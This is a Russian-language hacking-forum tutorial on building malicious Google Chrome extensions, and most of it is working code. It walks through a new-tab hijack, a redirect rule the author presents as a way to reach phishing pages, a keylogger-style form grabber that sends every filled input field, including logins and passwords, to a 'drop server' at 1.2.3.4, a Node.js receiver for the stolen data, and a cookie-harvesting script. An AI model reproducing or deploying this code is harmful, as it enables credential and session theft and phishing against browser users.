В мире расширений для Google Chrome: как работают вредоносные расширения?

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: miserylord
Эксклюзивно для форума:
xss.is

Привет, miserylord на связи!

В этой статье я разберу тему написания вредоносных расширений для Google Chrome. Начнем с небольшого теоретического введения:

Расширение для Google Chrome — это скрипты/программы, которые позволяют расширять функционал браузера. Их возможности почти безграничны. Они могут менять поведение браузера, интегрировать сторонние сервисы, предоставлять дополнительные функции и многое другое. С частью функционала мы познакомимся сегодня. Важно отметить, что вредоносные расширения не делают ничего особенного, они просто используют стандартные методы API.

С точки зрения архитектуры, расширения основаны на модульной структуре, где компоненты взаимодействуют через API браузера. Основные компоненты архитектуры расширений Chrome:

  • Манифест в формате JSON — это файл, который описывает расширение: его имя, описание, разрешения и другие параметры. Он является инструкцией для браузера.
  • Фоновые скрипты — скрипты, работающие в фоновом режиме и выполняющиеся вне контекста веб-страниц. Они управляют состоянием расширения, взаимодействуют с API браузера, управляют разрешениями, отправляют запросы в сеть и т.д.
  • Контентные скрипты — скрипты, которые выполняются на страницах, взаимодействуя с их содержимым.
  • Также могут быть созданы модальные окна и всплывающие интерфейсы с помощью HTML и CSS.

Для написания расширений помогут несколько ресурсов, например, документация для разработчиков — Расширения Chrome | Chrome Extensions | Chrome for Developers, GitHub/ChatGPT, а также четкое понимание задачи.

Отмечу, что подобные механизмы можно применять и к другим браузерам. Вообще большинство популярных браузеров в современном мире, основанных на Chromium, используют одинаковую основу для расширений. Это касается Microsoft Edge, Opera, Brave, а также Firefox, у которого есть свой собственный набор API для расширений, но он во многом схож с Chrome. Поэтому технология разработки расширений будет схожа во всех этих браузерах.

В плане белых приложений, к которым можно добавлять дополнительный функционал, можно придумать множество вариантов. В первую очередь стоит изучить конкурентов. Забавный способ — поискать на YouTube по запросу "new extension for Google Chrome". Во-вторых, подумайте, возможно, вы и сами сталкивались с какой-то проблемой, для которой хотели бы найти решение. Ну и третий вариант — это хайповые темы, например, сейчас это что-то связанное с AI.

Сами приложения находятся в магазине приложений Google Chrome — https://chromewebstore.google.com/. Процесс добавления в магазин, раскрутка и реклама — это безусловно отдельная тема, которая может быть гораздо сложнее технической части.

Итак, начнем с чего-то простого. Идея приложения — подменить главную страницу (новую вкладку) для получения трафика, такая примитивная версия ад инжектора. Создаем новый проект, в файле manifest.json прописываем следующий код:

JSON: Скопировать в буфер обмена
Код:
{
    "manifest_version": 3,
    "name": "Custom New Tab",
    "version": "1.0",
    "description": "",
    "chrome_url_overrides": {
      "newtab": "newtab.html"
    }
  }


Самое главное в этом участке кода — chrome_url_overrides. Помимо того, что newtab заменяет стандартную страницу новой вкладки, этот параметр также имеет доступ к страницам bookmarks и history. manifest_version — это технический параметр, который ставится в 3. Остальное — чисто косметические ключи, которые не влияют на функционал расширения.

Теперь пропишем страницу newtab.html, которая будет отображаться при открытии новой вкладки:
HTML: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Новая вкладка</title>
  <link rel="stylesheet" href="styles.css">
</head>
<body>
  <div class="background">
    <h1>Добро пожаловать!</h1>
    <a href="1.com">Забирай бонусы каждый день!</a>
  </div>
</body>
</html>
dy>
</html>

В файле styles.css пропишем стили
CSS: Скопировать в буфер обмена
Код:
body {
    margin: 0;
    padding: 0;
    display: flex;
    align-items: center;
    justify-content: center;
    height: 100vh;
    background: url('background.jpg') no-repeat center center fixed;
    background-size: cover;
    font-family: Arial, sans-serif;
    color: white;
    text-shadow: 0 2px 4px rgba(0, 0, 0, 0.5);
  }

  a {
    display: inline-block;
    text-decoration: none;
    color: #fff;
    font-size: 32px;
    font-weight: bold;
    background: linear-gradient(45deg, #ff0000, #ff9900, #ffff00, #00ff00, #0000ff, #9900ff);
    background-size: 300%;
    border: 4px solid #ff0000;
    border-radius: 10px;
    padding: 15px 30px;
    text-shadow: 2px 2px 10px #000, 0 0 20px #ff0000, 0 0 30px #ff9900;
    box-shadow: 0 0 20px #ff0000, 0 0 40px #ff9900, 0 0 60px #ffff00;
    animation: neonGlow 3s infinite linear, gradientShift 5s infinite linear;
  }

  a:hover {
    box-shadow: 0 0 40px #00ff00, 0 0 60px #00ff00, 0 0 80px #00ff00;
    transform: scale(1.1);
  }

  @keyframes neonGlow {
    0%, 100% {
      text-shadow: 2px 2px 10px #000, 0 0 20px #ff0000, 0 0 30px #ff9900;
      box-shadow: 0 0 20px #ff0000, 0 0 40px #ff9900, 0 0 60px #ffff00;
    }
    50% {
      text-shadow: 2px 2px 10px #000, 0 0 20px #00ff00, 0 0 30px #00ff00;
      box-shadow: 0 0 20px #00ff00, 0 0 40px #00ff00, 0 0 60px #00ff00;
    }
  }

  @keyframes gradientShift {
    0% {
      background-position: 0% 50%;
    }
    50% {
      background-position: 100% 50%;
    }
    100% {
      background-position: 0% 50%;
    }
  }
    100% {
      background-position: 0% 50%;
    }
  }

Для тестирования перейдем по адресу в хроме chrome://extensions/, включим режим разработчика в правом верхнем углу, и подгрузим папку, в которой разрабатывали расширение. И вот что мы увидим:

Screenshot_1.png



Следующее расширение будет заменять определенные ссылки — делая редирект. По сути, с помощью этой техники можно делать редиректы на фишинговые страницы заданных сайтов. В рамках примера будет происходить замена google.com на bing.com. Создадим два файла:

Первый — manifest.json:
JSON: Скопировать в буфер обмена
Код:
{
    "manifest_version": 3,
    "name": "Redirect to Bing",
    "version": "1.0",
    "description": "",
    "permissions": [
      "declarativeNetRequest"
    ],
    "host_permissions": [
      "*://*.google.com/*"
    ],
    "declarative_net_request": {
      "rule_resources": [
        {
          "id": "ruleset",
          "enabled": true,
          "path": "rules.json"
        }
      ]
    }
  }

В данном случае расширению нужно разрешение на использование API declarativeNetRequest, которое позволяет перехватывать и изменять сетевые запросы без вмешательства в код страницы.

Второй файл — rules.json:
JSON: Скопировать в буфер обмена
Код:
[
    {
      "id": 1,
      "priority": 1,
      "action": {
        "type": "redirect",
        "redirect": {
          "url": "https://www.bing.com/"
        }
      },
      "condition": {
        "urlFilter": "||google.com",
        "resourceTypes": ["main_frame"]
      }
    }
  ]

Правило описывает, что перехват происходит только на основных страницах, то есть в него не включены изображения или JavaScript-файлы. Также оно работает на всех поддоменах.

Это расширение написано без использования JavaScript, но давайте усложним проект, написав расширение, которое показывает алерты на определенных страницах.

Манифест:
JSON: Скопировать в буфер обмена
Код:
{
    "manifest_version": 3,
    "name": "Site Alert Extension",
    "version": "1.0",
    "description": "",
    "permissions": ["scripting"],
    "host_permissions": [
      "*://*.google.com/*"
    ],
    "background": {
      "service_worker": "background.js"
    }
  }

В permissions указываем scripting, а в фоне запускаем скрипт background.js.

JavaScript: Скопировать в буфер обмена
Код:
chrome.runtime.onInstalled.addListener(() => {
    console.log("Extension installed");

    chrome.scripting.registerContentScripts([
      {
        id: "showAlertScript",
        matches: ["*://*.google.com/*"],
        js: ["content.js"],
        runAt: "document_idle"
      }
    ]);
  });

Этот код устанавливает обработчик события для установки расширения. Когда расширение установлено, оно регистрирует контентный скрипт, который будет выполняться на страницах Google. Скрипт будет загружаться из файла content.js и выполняться, когда страница будет полностью загружена.

Вот код для content.js с вызовом метода alert:


JavaScript: Скопировать в буфер обмена
alert("Только сегодня используй bing.com");


2.png



Далее реализуем универсальный перехватчик чувствительной информации. В рамках HTML-формы это осуществляется с помощью тега input. Следовательно, код должен проверять, заполнены ли поля input, и, если это так, отправлять лог с этой информацией на сервер. Таким образом, мы получим все логины, пароли, телефоны и другие данные. Сделать это достаточно просто. Нам понадобится сервер. Для корректной работы потребуется домен с HTTPS, поскольку формы с HTTPS-ресурсов не будут отправляться без TLS.

В манифесте расширения в host_permissions указываем адрес дроп-сервера, а в permissions — activeTab, что даёт доступ расширению к текущей активной вкладке браузера. Скрипт будет работать на всех страницах после загрузки HTML-документа. manifest.json:
JSON: Скопировать в буфер обмена
Код:
{
    "manifest_version": 3,
    "name": "Form Input Monitor",
    "version": "1.0",
    "description": "Отслеживает заполненность input форм на всех сайтах",
    "permissions": ["activeTab"],
 "host_permissions": [
  "http://1.2.3.4:3001/*"
],
    "background": {
      "service_worker": "background.js"
    },
    "content_scripts": [
      {
        "matches": ["<all_urls>"],
        "js": ["content.js"],
        "run_at": "document_end"
      }
    ]
  }

В background.js проверяем корректность установленного расширения


JavaScript: Скопировать в буфер обмена
Код:
chrome.runtime.onInstalled.addListener(() => {
    console.log("Расширение установлено и активно.");
  });


Основной скрипт для работы с формами - content.js:
JavaScript: Скопировать в буфер обмена
Код:
function checkFormInputs() {
  const inputs = document.querySelectorAll('input');
  inputs.forEach(input => {
    if (input.value.trim() !== '') {
      const data = {
        field: input.name || input.id || 'без имени',
        value: input.value
      };

      fetch('http://1.2.3.4:3001/api/inputs', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify(data)
      })
      .then(response => {
        if (!response.ok) {
          throw new Error('Ошибка при отправке данных');
        }
        return response.json();
      })
      .then(result => {
        console.log('Успешно отправлено:', result);
      })
      .catch(error => {
        console.error('Ошибка:', error);
      });
    }
  });
}

setInterval(() => {
  checkFormInputs();
}, 3000);

Скрипт сканирует страницу на наличие всех элементов input с помощью document.querySelectorAll('input'). Проверяет, заполнено ли поле ввода (если значение input.value не пустое и не состоит только из пробелов). Если поле заполнено, формируется объект data с информацией о поле: field: имя поля (или его ID, если имени нет; если отсутствует и то, и другое, указывается "без имени"); value: введённое значение.

Данные отправляются на сервер в формате JSON с помощью fetch. Для регулярной проверки полей используется setInterval, вызывающий функцию checkFormInputs каждые 3000 миллисекунд (3 секунды).

Код сервера (Node.js):

JavaScript: Скопировать в буфер обмена
Код:
const express = require('express');
const bodyParser = require('body-parser');
const cors = require('cors');

const app = express();
const PORT = 3001;

app.use(bodyParser.json());
app.use(cors());


app.post('/api/inputs', (req, res) => {
  const { field, value } = req.body;

  if (!field || !value) {
    return res.status(400).json({ error: 'Некорректные данные' });
  }

  console.log(`Получены данные: Поле - ${field}, Значение - ${value}`);

  res.status(200).json({ message: 'Данные успешно получены' });
});

app.listen(PORT, () => {
  console.log(`Сервер запущен на http://localhost:${PORT}`);
});


Помимо логина и пароля, аккаунт может быть перехвачен с помощью токена, который может находиться в локальном хранилище (что бывает не так часто), либо с помощью кук (что случается чаще). Возможно, вам знакомы расширения типа EditThisCookie, которые позволяют работать с куками, а значит, доступ к ним можно получить. Давайте разберемся, как это сделать.

Сперва разберемся, как получить куки в консоли браузера. Для этого используется document.cookie. Далее мы просто взаимодействуем с кодом, как если бы работали в консоли. В манифесте в разделе permissions добавляем cookies для получения доступа к кукам.

manifest.json:
JSON: Скопировать в буфер обмена
Код:
{
    "manifest_version": 3,
    "name": "Cookie Monitor",
    "version": "1.0",
    "description": "",
    "permissions": [
      "activeTab",
      "cookies"
    ],
    "background": {
      "service_worker": "background.js"
    },
    "content_scripts": [
      {
        "matches": ["<all_urls>"],
        "js": ["content.js"],
        "run_at": "document_end"
      }
    ]
  }

Код content.js, который раз в три секунды выводит в консоль предворительно разбитые куки, полученние на дроп сервер можно организовать по примеру перехватчика форм:

JavaScript: Скопировать в буфер обмена
Код:
function getCookies() {
    const cookies = document.cookie.split(';').map(cookie => cookie.trim());
    console.log("Куки для текущего сайта:");
    cookies.forEach(cookie => {
        const [name, value] = cookie.split('=');
        console.log(`Имя: ${name}, Значение: ${value}`);
    });
}

setInterval(() => {
    getCookies();
}, 3000);
```

Трям! Пока!
 
Сверху Снизу